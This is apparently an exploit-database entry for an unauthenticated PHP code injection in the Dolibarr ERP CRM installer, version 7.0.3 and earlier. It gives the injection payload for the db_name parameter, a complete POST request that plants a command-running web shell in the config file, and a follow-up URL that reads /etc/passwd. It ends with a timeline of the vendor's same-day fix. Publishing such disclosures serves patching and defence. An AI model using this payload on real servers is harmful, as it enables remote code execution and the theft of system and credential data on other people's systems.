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Dolibarr ERP CRM < 7.0.3 - PHP Code Injection Vulnerability

Author
om3rcitak
Risk
[
Security Risk High
]
0day-ID
0day-ID-30659
Category
web applications
Date add
03-07-2018
Platform
php
# Exploit Title: Unauthenticated Remote Code Evaluation in Dolibarr ERP CRM =<7.0.3
# Exploit Author: om3rcitak - https://omercitak.com
# Vendor Homepage: https://dolibarr.org
# Software Link: https://github.com/Dolibarr/dolibarr
# Version: =<7.0.3
# Tested on: Unix, Windows
 
## Technical Details
URL: http://{domain}/{dolibarr_path}/install/step1.php
Parameter Name: db_name
Parameter Type: POST
Attack Pattern: x\';system($_GET[cmd]);//
 
## Steps to reproduce the behavior
- Go to fresh install page.
- Click "Next Step" button for create example config file (conf/conf.php)
- Send this request:
```
POST {dolibarr_path}/install/step1.php HTTP/1.1
Host: {domain}
 
testpost=ok&action=set&main_dir=C%3A%2FAmpps%2Fwww&main_data_dir=C%3A%2FAmpps%2Fwww%2Fdocuments&main_url=http%3A%2F%2Flocalhost+&db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F&db_type=mysqli&db_host=localhost&db_port=3306&db_prefix=llx_&db_create_database=on&db_user=root&db_pass=root&db_create_user=on&db_user_root=root&db_pass_root=root&selectlang=auto
```
- Visit url and run the command: `http://{domain}/{dolibarr_path}/install/check.php?cmd=cat /etc/passwd`
 
## Timeline
- 06/29/2018 18:30 - Found vulnerability.
- 06/29/2018 18:44 - Report vendor.
- 06/29/2018 20:38 - Vulnerability fixed by vendor.
 
GitHub Issue: https://github.com/Dolibarr/dolibarr/issues/9032

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